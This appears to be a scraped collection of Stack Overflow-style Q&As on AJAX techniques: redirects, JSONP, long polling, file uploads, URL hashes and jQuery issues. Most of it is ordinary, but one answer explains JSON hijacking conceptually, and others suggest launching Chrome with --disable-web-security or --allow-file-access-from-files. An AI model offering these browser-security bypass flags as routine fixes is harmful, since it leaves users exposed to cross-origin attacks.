at first this seems ugly, but when dealing with problems like the one suggested in the link (end of session, redirect on login page) it seems that having a complete protocol handling in your ajax json communications between the client and the server is not a bad idea.
In case you control the server you may embed the data being lost in the redirect address itself. So xhr does a POST, and then does a GET with some of the POSTed data being encoded back (by the server) as GET params. No other solutions come up for me...
Do you not have an authenticated session associated with your requests? Are you populating some headers in order to do the authentication or are you using something similar to HTTP Basic Authentication to do it?
Also, if you got a 302, was it because you were not authenticated in the first place or is it a valid 302 which is as expected? This is important because if you were not authenticated in the first place, your followed GET request needs to be authenticated anyway.
can't you use windows.location="newURL"? that used to work for me for redirecting
As Rajiv M. has stated above, you cannot catch 302 redirects using an XHL Object or AJAX request.
Your best bet is to setup a proxy of some kind in PHP/ASP or whatever server-side scripting language. The PHP script will simply follow 302 redirects until it reaches a final destination. Then, it can send the final URL back to your JavaScript page. Now future AJAX requests can be sent directly to the known final URL.
Or...
Your PHP script will just serve as a proxy. All requests will be sent to this PHP script.
Or...
Just hardcode the final URL into your JavaScript application, if possible (although I assume that it's not possible in your case).
Sorry -- I hate the "you can't do this" answers, too, but there are some JavaScript limitations that haven't quite been ironed out yet.
I'm using Django on Appengine. I'm using the django reverse() function everywhere, keeping everything as DRY as possible.
However, I'm having trouble applying this to my client-side javascript. There is a JS class that loads some data depending on a passed-in ID. Is there a standard way to not-hardcode the URL that this data should come from?
var rq = new Request.HTML({
'update':this.element,
}).get('/template/'+template_id+'/preview'); //The part that bothers me.
Yeah this always bugged me too.
There's the javascript-rendered-with-Django-template-language method similar to what you've displayed above, however, I found pretty quick that this can easily become too cumbersome when the javascript is stored in an external file.
There are probably many ways to attack this problem, but I created a simple helper app to allow url resolution via AJAX. There are two parts 2 parts to it -- the server side url/view which returns the value and the client side script that that provides access to it.
It seems easier than it actually is. You will frequently want to pass arguments into the resolve function and often the order of these arguments is very important. To maintain the order, when I pass the arguments back to Django, I orient them on the querystring with the key being the # of their order.
Once included (the javascript depends on jQuery), you can access it with...
// Equivalent to {% url blog_view_post post_id %}
var url = Django.reverse('blog_view_post', [post_id] );
On the server side...
javascript/views.py
from django.http import HttpResponse
from django.core.urlresolvers import reverse
def reverse_url(request, url_name):
# Turn querystring into an array of couplets (2x list)
# arg_couplets = [ ('key', 'value'), ('key', 'value') ]
arg_couplets = request.REQUEST.items()
# Sort by keys
arg_couplets.sort(lambda x,y: cmp(x[0], y[0]))
# Collapse list into just the values
args = [c[1] for c in arg_couplets]
try:
if args:
return HttpResponse(reverse(url_name, args=args))
else:
return HttpResponse(reverse(url_name))
except:
return HttpResponse()
On the client side... (make sure to include this in your template)
/media/django-javascript.js
(function($) {
Django = function() {
return {
reverse: function(name, args) {
var ret;
var arguments = {};
var c = 0;
// Convert args to keyed dictionary
for (i in args) {
arguments[c] = args[i];
c++;
}
$.ajax({
async: false,
url: '/javascript/reverse/' + name + '/',
data: arguments,
success: function(html) {
ret = html;
}
});
if (ret.length > 0) {
return ret;
}
else {
return null;
}
}
}
}();
})(jQuery);
On a side note, I've also done this for MEDIA_URL and some other often used settings.
The most reasonable solution seems to be passing a list of URLs in a JavaScript file, and having a JavaScript equivalent of reverse() available on the client. The only objection might be that the entire URL structure is exposed.
I'm writing an AJAX web app that uses Comet/Long Polling to keep the web page up to date, and I noticed in Chrome, it treats the page as if it's always loading (icon for the tab keeps spinning).
I thought this was normal for Google Chrome + Ajax because even Google Wave had this behaviour.
Well today I noticed that Google Wave no longer keeps the loading icon spinning, anyone know how they fixed this?
Here's my ajax call code
var xmlHttpReq = false;
// Mozilla/Safari
if (window.XMLHttpRequest) {
xmlHttpReq = new XMLHttpRequest();
}
// IE
else if (window.ActiveXObject) {
xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttpReq.open('GET', myURL, true);
xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlHttpReq.onreadystatechange = function() {
if (xmlHttpReq.readyState == 4) {
updatePage(xmlHttpReq.responseText);
}
}
xmlHttpReq.send(null);
I shamelessly stole Oleg's test case and adjusted it a bit to simulate long-polling.
load.html:
<!DOCTYPE html>
<head>
<title>Demonstration of the jQery.load problem</title>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<script>
jQuery(document).ready(function() {
$('#main').load("test.php");
});
</script>
</head>
<body>
<div id='main'></div>
</body>
</html>
test.php:
<?php
sleep(5);
?>
<b>OK!</b>
The result is interesting: in Firefox and Opera, no loading indicator is shown during XMLHTTPRequests. Chrome lets it spinning... I suspect Google Wave doesn't use long polling anymore (but, for instance, polls every X seconds, to save resources), but I can't test it, as I don't have an account.
EDIT: And I figured it out: after adding a little delay in loading test.php, which can be as small as possible, the loading indicator stops after load.html has been loaded:
jQuery(document).ready(function() {
setTimeout(function () {
$('#main').load("test.php");
}, 0);
});
Somehow, as is confirmed in a comment on another answer, when the browser gets control back to finish page rendering, the indicator stops spinning. Another advantage is that the request cannot be aborted by pressing Esc.
Sorry for my general answer, but if you want to have a program which are more browser independent you should use jQuery or other your favorite library instead of low level XMLHttpRequest and ActiveXObject("Microsoft.XMLHTTP").
EDITED: I create two very simple HTML files: test.htm and load.htm and placed there in the same directory on a web site (try this one URL http://www.ok-soft-gmbh.com/jQuery/load/load.htm). I can't see effect which you describes in you question. Compare this files with your examples and you will solve your problem.
load.htm:
<!DOCTYPE html PUBLIC
"-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head">
<title>Demonstration of the jQery.load problem</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript">
jQuery(document).ready(function() {
$('#main').load("test.htm");
});
</script>
</head>
<body>
<div id='main'></div>
</body>
</html>
test.htm:
<b>OK!</b>
use this function
function getHTTPObject() {
var xhr = false;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (window.ActiveXObject) {
try {
xhr = new ActiveXObject("Msxml2.XMLHTTP");
} catch(e) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xhr = false;
};
};
};
return xhr;
};
Is it possible to post data to JsonP? Or does all data have to be passed in the querystring as a GET request?
I have alot of data that I need to send to the service, cross domain, and it is too large to send via the querystring
What are the options for getting around this?
thanks
It is not possible to do an asynchronous POST to a service on another domain, due to the (quite sensible) limitation of the same origin policy. JSON-P only works because you're allowed to insert <script> tags into the DOM, and they can point anywhere.
You can, of course, make a page on another domain the action of a regular form POST.
Edit: There are some interesting hacks out there if you're willing to go to a lot of effort inserting hidden <iframe>s and mucking about with their properties.
If you need to send a lot of data cross-domain. I usually create a service that you can call in two steps:
First the client do a FORM submit (post allowed cross domain). The service stores the input in the session on the server (using the GUID as key). (the client creates a GUID and send's it as a part of the input)
Then the client do a normal script-inject (JSONP) as a parameter you use the same GUID as you used in the FORM post. The service processes the input from the session and returns the data in the normal JSONP-fashion. After this the session is destroyed.
This of course relies on that you write the server-backend.
Well generally JSONP is implemented by adding a <script> tag to the calling document, such that the URL of the JSONP service is the "src". The browser fetches script source with an HTTP GET transaction.
Now, if your JSONP service is in the same domain as your calling page, then you could probably cobble something together with a simple $.ajax() call. If it's not in the same domain, then I'm not sure how it'd be possible.
From what I understand, it's a best practice to reuse XmlHttpRequest objects whenever possible. Unfortunately, I'm having a hard time understanding why. It seems that by trying to reuse XHR objects you increase your code complexity and you introduce possible browser incompatibilities. So why do so many people recommend it?
After some research, I was able to come up with this list of possible explanations:
But I'm still a bit skeptical. Are any of these reasons actually valid? If not, what is a valid reason?
There are a whole host of problems relating to the number of open connections you can have at any one time; often this is imposed at a browser level as in all versions of Internet Explorer (IE6 allows 2, IE7 allows 2, IE8 allows 4), often this is imposed by server throttling and sometimes this is imposed by Internet Service Providers.
If you have a large number of distinct XmlHttpRequest objects in one script, and for some reason some of their connections have not closed properly or have not been GC'd, you may run into difficulty opening new connections and have absolutely no idea what is going wrong.
That and all of the reasons you mention.
This is something I've always been curious about, is exactly why Google appends while(1); in front of their (private) JSON responses.
For example, here's a response while turning a calendar on and off in Google Calendar:
while(1);[['u',[['smsSentFlag','false'],['hideInvitations','false'],['remindOnRespondedEventsOnly','true'],['hideInvitations_remindOnRespondedEventsOnly','false_true'],['Calendar ID stripped for privacy','false'],['smsVerifiedFlag','true']]]]I would assume this is to prevent people from doing an eval() on it, but all you'd really have to do is replace the while and then you'd be set. I would assume eval prevention is to make sure people write safe JSON parsing code.
I've seen this used in a couple other places, too, but a lot more so with Google (Mail, Calendar, Contacts, etc.) Strangely enough, Google Docs starts with &&&START&&& instead, and Google Contacts seems to start with while(1); &&&START&&&.
Does anyone know what's going on here?
It prevents cross-site request forgery.
Contrived example: say Google has a URL like gmail.com/json?action=inbox which returns the first 50 messages of your inbox in JSON format. Evil websites on other domains can't make AJAX requests to get this data due to the same-origin policy, but they can include the URL via a <script> tag. The URL is visited with your cookies, and by overriding the global array constructor or accessor methods they can have a method called whenever an object (array or hash) attribute is set, allowing them to read the JSON content.
The while(1); or &&&BLAH&&& prevents this: an AJAX request at gmail.com will have full access to the text content, and can strip it away. But a <script> tag insertion blindly executes the JavaScript without any processing, resulting in either an infinite loop or a syntax error.
That would be to make it difficult for a third-party to insert the JSON response into an HTML document with the <script> tag. Remember that the <script> tag is exempt from the Same Origin Policy.
There was a related Stack Overflow post a while ago:
It prevents it from being used as the target of a simple <script> tag. (Well, it doesn't prevent it, but it makes it unpleasant.) That way bad guys can't just put that script tag in their own site and rely on an active session to make it possible to fetch your content.
I am trying to understand how Facebook's chat feature receives messages without continuously poling the server.
Firebug shows me a single GET XmlHttpRequest continuously sitting there, waiting for a response from the server. After 5 minutes, this never timed out.
How are they preventing timeout?
An AJAX request can just sit there like that indefinitely, waiting for a response?
Can I do this with JSONRequest? I see this at json.org:
JSONRequest is designed to support duplex connections. This permits applications in which the server can asynchronously initiate transmissions. This is done by using two simultaneous requests: one to send and the other to receive. By using the timeout parameter, a POST request can be left pending until the server determines that it has timely data to send.
Or is there another way to let an AJAX call just sit there, waiting, besides using JSONRequest?
Facebook uses a technique which is now called Comet to push messages from the server to the client instead of having the client poll the server.
There are many ways that this can be implemented, with XMLHttpRequest long polling being just one option. The principle behind this method is that the client sends an ordinary XMLHttpRequest but the server doesn't respond until some event happens (such as another user sending a message), so the client is forced to wait. When the client receives a response (or if the request times out) the client simply creates a new request so that it always has one open request to the server.
Drag-and-drop file uploading can be done in Firefox 3.6.
A Google search for html5 drag-and-drop file uploading -gmail gives things like:
All of these guides use FileReader (or the Firefox 3.6's deprecated getAsBinary, which no other browser supports, either).
However, Google recently released an update for Gmail that allowed drag-and-drop file uploading in Chromium as well as Firefox, and Chromium does not have FileReader. I'm using the latest Chromium nightly, and it can drag-drop upload files, while not supporting FileReader.
I've seen someone mention that drag-drop uploading can be possible by dragging onto an <input type="file" />, but that can only support one file at a time, while Gmail's uploader can handle multiple files being dragged onto it, so that's clearly not what they're doing.
So the question is, how do they do it? How do you support Chromium for HTML5 file uploading? In addition, can you support Safari?
EDIT: Google Chrome now supports FileReader as of version 7. However, this workaround is still necessary for drag-and-drop uploading in Safari 5 (Safari 6 has not been released yet).
One possibility is to use the method used in SwellJS:
Use <input type="file" multiple="multiple" /> like so:
<form method="post" enctype="multipart/form-data" id="uploadform">
<input type="file" name="dragupload[]" multiple="multiple"
onchange="if (this.value) document.getElementById('uploadform').submit();" />
</form>
The input element can be styled to have opacity: 0 and positioned (absolutely) over an element that accepts uploads. The entire form can be placed inside an iframe for "pseudo-Ajax" like behavior. And the upload element can be a layer hidden until something is dragged over it.
Such an iframe would look like:
<script>
<!--
var entered = 0;
-->
</script>
<body ondragenter="entered++;document.getElementById('uploadelement').style.display='block'" ondragleave="entered--;if (!entered) document.getElementById('uploadelement').style.display='none'">
<form method="post" enctype="multipart/form-data" id="uploadform">
Things can be dragged and dropped here!
<input type="file" id="uploadelement" name="dragupload[]" multiple="multiple" onchange="if (this.value) { document.getElementById('uploadform').submit(); }" style="display:none;position:absolute;top:0;left:0;right:0;bottom:0;opacity:0;" />
</form>
</body>
This should only be done when Safari or Chrome is detected (since other browsers don't support drag-and-drop onto <input type="file" /> elements), and can be used in combination with the HTML5 drop event for Firefox 3.6+.
I can't tell if this is the method Gmail uses, but it certainly works about as well.
You may be interested on something more technology- and browser-compliant.
Seems to me that Plupload does it well, supporting the following features:
for most of the following technologies:
And yes, since 2010.05.27, it supports drag/drop for HTML5 running on Chrome beta.
I've got something working in Chrome after much, much, much detective work. This only works on Chrome. On Safari, it freezes. On Firefox, it won't let me drop the file. IE opens the dropped file instead. Even in Chrome, the drag and drop only works once, for some reason, after which you have to refresh the page. (A possible reason for this is that something is wrong with the event handlers.)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">
window.onload = function () {
var div = document.getElementById('div');
div.ondragenter = div.ondragover = function (e) {
e.preventDefault();
e.dataTransfer.dropEffect = 'copy';
return false;
}
div.ondrop = function (e) {
for (var i = 0; i < e.dataTransfer.files.length; i++) { // e.dataTransfer is a DataTransfer object (https://developer.mozilla.org/En/DragDrop/DataTransfer), e.dataTransfer.files is a FileList object (https://developer.mozilla.org/en/DOM/FileList)
var file = e.dataTransfer.files[i]; // file is a File object (https://developer.mozilla.org/en/DOM/File)
var xhr = new XMLHttpRequest;
xhr.open('post', 'handler.php', true);
xhr.onreadystatechange = function () {
if (this.readyState != 4)
return;
document.body.innerHTML += '<pre>' + this.responseText + '</pre>';
}
xhr.setRequestHeader('Content-Type', 'multipart/form-data');
xhr.setRequestHeader('X-File-Name', file.fileName);
xhr.setRequestHeader('X-File-Size', file.fileSize);
xhr.send(file); // For some reason sending the actual File object in Chrome works?
}
e.preventDefault();
return false;
}
}
</script>
</head>
<body>
<div id="div" style="width: 100%; height: 200px; border: 1px solid blue">Drop here</div>
</body>
</html>
handler.php:
// This is not a true file upload. Instead, it sends the raw data directly.
echo htmlentities(file_get_contents('php://input'));
You wouldn't need to use an iframe to do pseudo ajax uploading. Chrome and Safari both support XHR2 uploads with progress events so you can do progress bars etc.
For our own application, we do drag and drop for FireFox only. We revert to the traditional iframe upload for others. In order to detect that drag and drop is supported, we run this code:
if (typeof(window.File) == 'object' && typeof(window.FileReader) == 'function' && typeof(window.FileList) == 'object') {
// DnD is supported!
}
Hope this is helpful to some.
You can use html5uploader library: http://code.google.com/p/html5uploader/
It works with Firefox, Safari and Chrome.
Gmail uses flash to support multiple files drop. U can find out by disabling flash.
The latest browser support file upload well. You could use:
xhr = new XMLHttpRequest();
xhr.open('POST', targetPHP, true);
var formData = new FormData();
formData.append('upload',file);
xhr.send(formData);
You do not need to set boundary or any head?just like this it works fine. I tested this code in client:firefox 6.02 and in chrome 13. server:tomcat with "spring mvc"
you can use FormData to store the File, then upload it. e.g
function setUp(){
var dropContainer = document.getElementById("container");
dropContainer.addEventListener("drop",dropHandler,false);
dropContainer.addEventListener("dragenter", function(event){event.stopPropagation();event.preventDefault();}, false);
dropContainer.addEventListener("dragover", function(event){event.stopPropagation();event.preventDefault();}, false);
dropContainer.addEventListener("drop", dropHandler, false);
getResult()
}
function dropHandler(event){
var files = event.dataTransfer.files;
var count = files.length;
form = new FormData();
for(var i= 0;i<count;i++){
form.append("file"+i, files[i]);
}
sendData();
}
function sendData(){
var xhr = new XMLHttpRequest();
xhr.upload.addEventListener("progress", uploadProgress, false);
xhr.addEventListener("load", uploadComplete, false);
xhr.addEventListener("error", uploadFailed, false);
xhr.open("POST", "/upload");
xhr.send(form);
var progressBar = document.getElementById('progressBar');
progressBar.style.display = 'block';
progressBar.style.width = '0px';
}
the demo is here(http://flexinnerp.appspot.com/) just enjoy it :)
I am working on a ticket system, having the following requirement:
The home page is divided into two sections:
Sec-1. Some filter options are shown here.(like closed-tickets, open-tickets, all-tickets, tickets-assigned-to-me etc.). You can select one or more of these filters.
sec-2. List of tickets satisfying above filters will be displayed here.
Now this is what I want: As I change the filters
--> the change should be reflected in the URL, so that one is able to bookmark it.
--> an ajax request will go and list of tickets satisfying the selected filters will be updated in sec-2.
I want the same code to be used to load the tickets in both ways-
(a) by selecting that set of filters and
(b) by using the bookmark to reload the page.
I have little idea on how to do it:
The URL will contain the selected filters.(appended after #)
changing filters on the page will modify the hash part of URL and call a function (say ajaxHandler()) to parse the URL to get the filters and then make an ajax request to get the list of tickets to be displayed in section2.
and
I will call the same function ajaxHandler() in window.onload.
I feel this is what Yahoo maps does.
What's the best way to implement such URL scheme?
Am I headed in the right direction?
Yeah--you're headed in exactly the right direciton, and there's a ton of work that has gone into doing this correctly across all browsers and OSes. One of the hardest parts to get right is enabling the browser's back and forward buttons to work correctly when you're using that #urlfragment syntax.
A library that provides support for such a thing: http://developer.yahoo.com/yui/history/
I find the google wave app's solution to be quite elegant. It's basically what you describe using a parseable url fragment. like so: http://some.domain/some/url/#filters(filter1:key1,filter2:key2);someOtherfragment;andAnotherFragment
Well if you are using jQuery there is this lovely library by Asual: jQuery Address for deep linking. They have a good API reference, and examples. It will give you all the tools you need to implement your app.
This is somewhat of a simple answer, but what you want to look at is using a hidden iframe method for your AJAX, as opposed to XHR (XMLHttpRequest Object). This will allow for the browser to maintain the history, so your back buttons will continue to work.
Some more: http://ajaxpatterns.org/IFrame_Call
Ben Alman has built a full-featured jQuery plugin for this called BBQ. IMO, it's much better than the Address plugin.
Using the yui library for history is an option as mentioned in sblom's comment. You may want to consider just providing a bookmark or link button on your page that user's can click on to get to the urk if you do not want to deal with cross browser compatibility issues.
We do it here http://connect.garmin.com/explore#sortField=relevance¤tPage=1 Theres a link on the top of the map.
In Chrome, Safari and Firefox you can use HTML5 history.pushState and history.replaceState() methods
All over the Internet, included even here at StackOverlow, people state that a good way to check if a request is AJAX or not is to do the following:
if (strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest' ) {...}
However, I don't see $_SERVER['HTTP_X_REQUESTED_WITH'] in the official PHP documentation
And when I try to do the following:
echo $_SERVER['HTTP_X_REQUESTED_WITH'];
Nothing is outputted.
Am I doing something wrong? Because I'd really like to be able to use $_SERVER['HTTP_X_REQUESTED_WITH'] if it's available.
The variables in $_SERVER are not really part of PHP, which is why you won't find them in the PHP documentation. They are prepared by the Web server which passes them on to the scripting language.
As far as I know, the X-Requested-With is sent by the Ajax functions of most major Frameworks but not all (Dojo, for example, added it only two years ago: #5801). As such, and taking into considerations @bobince' comments, it's safe to say it's not generally a 100% reliable method to determine whether a request is an AJAX request or not.
The only 100% secure way is to send a pre-defined flag (e.g. a GET variable) along with the request and for the receiving page to check for the presence of that flag.
$_SERVER keys that start with HTTP_ are generated from HTTP request headers. In this case, the X-Requested-With header.
This header is a standardization-in-progress from all of the ajax libraries out there.
It won't be documented in the php documentation per-se, but rather in the different ajax libraries that set this header. Common libraries do sent this header (jQuery, Mojo, Prototype,..)
Usually these library will set the header using
xhrobj.setRequestHeader("X-Requested-With", "XMLHttpRequest");
I Hope this will help you, Jerome Wagner
don't forget that you can easily spoof any header with cURL like so
curl_setopt($ch,CURLOPT_HTTPHEADER,array("X-Requested-With : XMLHttpRequest"));
echo $_SERVER['HTTP_X_REQUESTED_WITH'];
What'd you expect from such a code? Assume you're running it directly from the browser, not using AJAX request. So, how come this header could be set?
Well the Answer to the Ultimate Question of Life, the Universe, and Everything - an HTTP sniffer! Get yourself one and forget of printing $_SERVER variable.
Firebug has one, or you may want to use Fiddler HTTP proxy or LiveHTTPHeaders Mozilla plugin. I'm bored to make links but it easily googled.
So, with HTTP sniffer you can be sure of any HTTP header ever.
Note that you can't prevent any "direct access" by using XHR, as every HTTP request to your server is already "direct".
You can also blame some browser bugs - see this question and its solution for Firefox
Firefox does not preserve custom headers during Ajax request redirect: an ASP.NET MVC solution
IE also having caching issue which is more serious then detection of request method.
You anyway needs to add cache busters to avoid caching, so why not use another flag to specify the ajax call - or more better you can use different URL like http://ajax.mysite.com/endpoint/sevice?params
I want to know if it is possible to stream data from the server to the client with Node.js. From what I can understand all over the internet is that this has to be possible, yet I fail to find a correct example or solution.
What I want is a single http post to node.js with AJAX. Than leave the connection open and continuously stream data to the client.
The client will receive this stream and update the page continuously.
Update 1
As an update to this answer: http://stackoverflow.com/questions/2558606/stream-data-with-node-js/2563459#2563459
I tried this already and I tried it again after your anser. I can not get this to work. The response.write is not send before you call close. I have set up an example program that i use to achieve this.
Node.js code:
var sys = require('sys'),
http = require('http');
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/html'});
var currentTime = new Date();
setInterval(function(){
res.write(
currentTime.getHours()
+ ':' +
currentTime.getMinutes()
+ ':' +
currentTime.getSeconds()
);
},1000);
}).listen(8000);
Here the html code:
<html>
<head>
<title>Testnode</title>
</head>
<body>
<!-- This fields needs to be updated -->
Server time: <span id="time"> </span>
<!-- import jQuery from google -->
<script
type="text/javascript"
src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js">
</script>
<!-- import jQuery -->
<script type="text/javascript">
$(document).ready(function(){
// I call here node.localhost nginx ports this to port 8000
$('#time').load('http://node.localhost');
});
</script>
</body>
</html>
Using this method I don't get anything back until I call close(). is this possible or should I rather go with a long poll approach where I call the load function again as one comes in.
i really rather want to stream this. I hope someone can help.
It is possible. Just use response.write() multiple times.
var body = ["hello world", "early morning", "richard stallman", "chunky bacon"];
// send headers
response.writeHead(200, {
"Content-Type": "text/plain"
});
// send data in chunks
for (piece in body) {
response.write(body[piece], "ascii");
}
// close connection
response.close();
You may have to close and reopen connection every 30 seconds or so.
EDIT: this is the code I actually tested:
var sys = require('sys'),
http = require('http');
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/html'});
var currentTime = new Date();
sys.puts('Starting sending time');
setInterval(function(){
res.write(
currentTime.getHours()
+ ':' +
currentTime.getMinutes()
+ ':' +
currentTime.getSeconds() + "\n"
);
setTimeout(function() {
res.close();
}, 10000);
},1000);
}).listen(8090, '192.168.175.128');
I connected to it by Telnet and its indeed gives out chunked response. But to use it in AJAX browser has to support XHR.readyState = 3 (partial response). Not all browsers support this, as far as I know. So you better use long polling (or Websockets for Chrome/Firefox).
EDIT2: Also, if you use nginx as reverse proxy to Node, it sometimes wants to gather all chunks and send it to user at once. You need to tweak it.
Look at Sockets.io. It provides HTTP/HTTPS streaming and uses various transports to do so:
And! It works seamlessly with Node.JS. It's also an NPM package.
I have a very simple test page that uses XHR requests with jQuery's $.getJSON and $.ajax methods. The same page works in some situations and not in others. Specificially, it doesn't work in Chrome on Ubuntu.
I'm testing on Ubuntu 9.10 with Chrome 5.0.342.7 beta and Mac OSX 10.6.2 with Chrome 5.0.307.9 beta.
The small set of 3 files can be downloaded in a tar/gzip file from here: http://issues.tauren.com/testjson/testjson.tgz
When it works, the Chrome console will say:
XHR finished loading: "http://issues.tauren.com/testjson/data.json".
index.html:16Using getJSON
index.html:21
Object
result: "success"
__proto__: Object
index.html:22success
XHR finished loading: "http://issues.tauren.com/testjson/data.json".
index.html:29Using ajax with json dataType
index.html:34
Object
result: "success"
__proto__: Object
index.html:35success
XHR finished loading: "http://issues.tauren.com/testjson/data.json".
index.html:46Using ajax with text dataType
index.html:51{"result":"success"}
index.html:52undefined
When it doesn't work, the Chrome console will show this:
index.html:16Using getJSON
index.html:21null
index.html:22Uncaught TypeError: Cannot read property 'result' of null
index.html:29Using ajax with json dataType
index.html:34null
index.html:35Uncaught TypeError: Cannot read property 'result' of null
index.html:46Using ajax with text dataType
index.html:51
index.html:52undefined
Notice that it doesn't even show the XHR requests, although the success handler is run. I swear this was working previously in Ubuntu/Chrome, and am worried something got messed up. I already uninstalled and reinstalled Chrome, but that didn't help.
Can someone try it out locally on your Ubuntu system and tell me if you have any troubles? Note that it seems to be working fine in Firefox.
This is a known issue with Chrome.
Here's the link in the bug tracker:
Another way to do it is to start a local HTTP server on your directory. On Ubuntu and MacOs with Python installed, it's a one-liner.
Go to the directory containing your web files, and :
python -m SimpleHTTPServer
Then connect to http://localhost:8000/index.html with any web browser to test your page.
On Windows, Chrome might be installed in your AppData folder: "C:\Users\\AppData\Local\Google\Chrome\Application"
Before you execute the command, make sure all of your Chrome window is closed and not otherwise running. Or, the command line param would not be effective. "chrome.exe --allow-file-access-from-files"
@Mike On Mac, type this in Terminal: open -b com.google.chrome --args --disable-web-security
An additional way to get around the problem is by leveraging Flash Player's Local Only security sandbox and ExternalInterface methods. One can have JavaScript request a Flash application published using the Local Only security sandbox to load the file from the hard drive, and Flash can pass the data back to JavaScript via Flash's ExternalInterface class. I've tested this in Chrome, FF and IE9, and it works well. I'd be happy to share the code if anyone is interested.
EDIT: I've started a google code (ironic?) project for the implementation: http://code.google.com/p/flash-loader/
I'm trying to build up a string array in JavaScript and get the results in a string list in the action method. Below is what my JavaScript looks like. I'm using jQuery 1.4.2. The problem is my List in the action method is always showing NULL. Will a JavaScript string array not map correct to a string list in C#?
var test = ['test1', 'test2'];
var parms = {
var1: 'some string',
var2: test
};
$.ajax({
type: "POST",
url: "/Test/JSONTestAction",
async: false,
data: parms,
dataType: "json",
success: function(data) {
// success
}
});
Then my JsonResult looks like the following:
public JsonResult JSONTestAction(string var1, List<string> var2)
{
// var2 is always NULL -- not good
return Json(new { test = "test" });
}
I faced the same problem after updating to jquery 1.4.2. You can find the solution here (in the Ajax section).
Adding traditional : true in the ajax options should work.
$.ajax({
type: "POST",
traditional: true,
url: "/Test/JSONTestAction",
async: false,
data: parms,
dataType: "json",
success: function(data) {
// success
}
});
This change was to make native behavior better for PHP/Rails users, you can read about the params changes more here.
You can enable it per-request like this:
$.ajax({
//Stuff...
traditional:true
});
Or globally like this (only need to run once before firing any requests):
jQuery.ajaxSettings.traditional = true;
While debugging jQuery apps that use AJAX, I often have the need to see the json that is being returned by the service to the browser. So I'll drop the URL for the JSON data into the address bar.
This is nice with ASPNET because in the event of a coding error, I Can see the ASPNET diagostic in the browser:

But when the server-side code works correctly and actually returns JSON, IE prompts me to download it, so I can't see the response.

Can I get IE to NOT do that, in other words, to just display it as if it were plain text?
I know I could do this if I set the Content-Type header to be text/plain.
But this is specifically an the context of an ASPNET MVC app, which sets the response automagically when I use JsonResult on one of my action methods. Also I kinda want to keep the appropriate content-type, and not change it just to support debugging efforts.
I found the answer.
You can configure IE8 to display application/json in the browser window by updating the registry. There's no need for an external tool. I haven't tested this broadly, but it works with IE8 on Vista.
To use this, remember, all the usual caveats about updating the registry apply. Stop IE. Then, cut and paste the following into a file, by the name of json-ie.reg.
Windows Registry Editor Version 5.00
;
; Tell IE to open JSON documents in the browser.
; 25336920-03F9-11cf-8FD0-00AA00686F13 is the CLSID for the "Browse in place" .
;
[HKEY_CLASSES_ROOT\MIME\Database\Content Type\application/json]
?CLSID?=?{25336920-03F9-11cf-8FD0-00AA00686F13}?
?Encoding?=hex:08,00,00,00
Then double-click the .reg file. Restart IE. The new behavior you get when tickling a URL that returns a doc with Content-Type: application/json is like this:

What it does, why it works:
The 25336920-03F9-11cf-8FD0-00AA00686F13 is the CLSID for the "Browse in place" action. Basically this registry entry is telling IE that for docs that have a mime type of application/json, just view it in place. This won't affect any application/json documents downloaded via <script> tags, or via XHR, and so on.
The CLSID and Encoding keys get the same values used for image/gif, image/jpeg, and text/html.
This hint came from this site, and from Microsoft's article Handling MIME Types in Internet Explorer .
In FF, you don't need an external add-on either. You can just use the view-source: pseudo-protocol. Enter a URL like this into the address bar:
view-source:http://myserver/MyUrl/That/emits/Application/json
This pseudo-protocol used to be supported in IE, also, until WinXP-sp2, when Microsoft disabled it or security reasons.
FireFox + FireBug is very good for this purpose. For IE there's a developer toolbar which I've never used and intend to use so I cannot provide much feedback.
I use Fiddler with JSONViewer plugin to inspect JSON. I don't think it is possible to make IE behave without fiddling with registry perhaps. Here's some information.
You could see the response in Fiddler: http://www.fiddler2.com/fiddler2/
That's nice tool for such things!
This is kind of a follow-up to a question I posted last week: http://stackoverflow.com/questions/2429056/simple-jquery-ajax-call-leaks-memory-in-ie
I love the jquery syntax and all of its nice features, but I've been having trouble with a page that automatically updates table cells via ajax calls leaking memory.
So I created two simple test pages for experimenting. Both pages do an ajax call every .1 seconds. After each successful ajax call, a counter is incremented and the DOM is updated. The script stops after 1000 cycles.
One uses jquery for both the ajax call and to update the DOM. The other uses the Yahoo API for the ajax and does a document.getElementById(...).innerHTML to update the DOM.
The jquery version leaks memory badly. Running in drip (on XP Home with IE7), it starts at 9MB and finishes at about 48MB, with memory growing linearly the whole time. If I comment out the line that updates the DOM, it still finishes at 32MB, suggesting that even simple DOM updates leak a significant amount of memory. The non-jquery version starts and finishes at about 9MB, regardless of whether it updates the DOM.
Does anyone have a good explanation of what is causing jquery to leak so badly? Am I missing something obvious? Is there a circular reference that I'm not aware of? Or does jquery just have some serious memory issues?
Here is the source for the leaky (jquery) version:
<html>
<head>
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
<script type="text/javascript">
google.load('jquery', '1.4.2');
</script>
<script type="text/javascript">
var counter = 0;
leakTest();
function leakTest() {
$.ajax({ url: '/html/delme.x',
type: 'GET',
success: incrementCounter
});
}
function incrementCounter(data) {
if (counter<1000) {
counter++;
$('#counter').text(counter);
setTimeout(leakTest,100);
}
else $('#counter').text('finished.');
}
</script>
</head>
<body>
<div>Why is memory usage going up?</div>
<div id="counter"></div>
</body>
</html>
And here is the non-leaky version:
<html>
<head>
<script type="text/javascript" src="http://yui.yahooapis.com/2.8.0r4/build/yahoo/yahoo-min.js"></script>
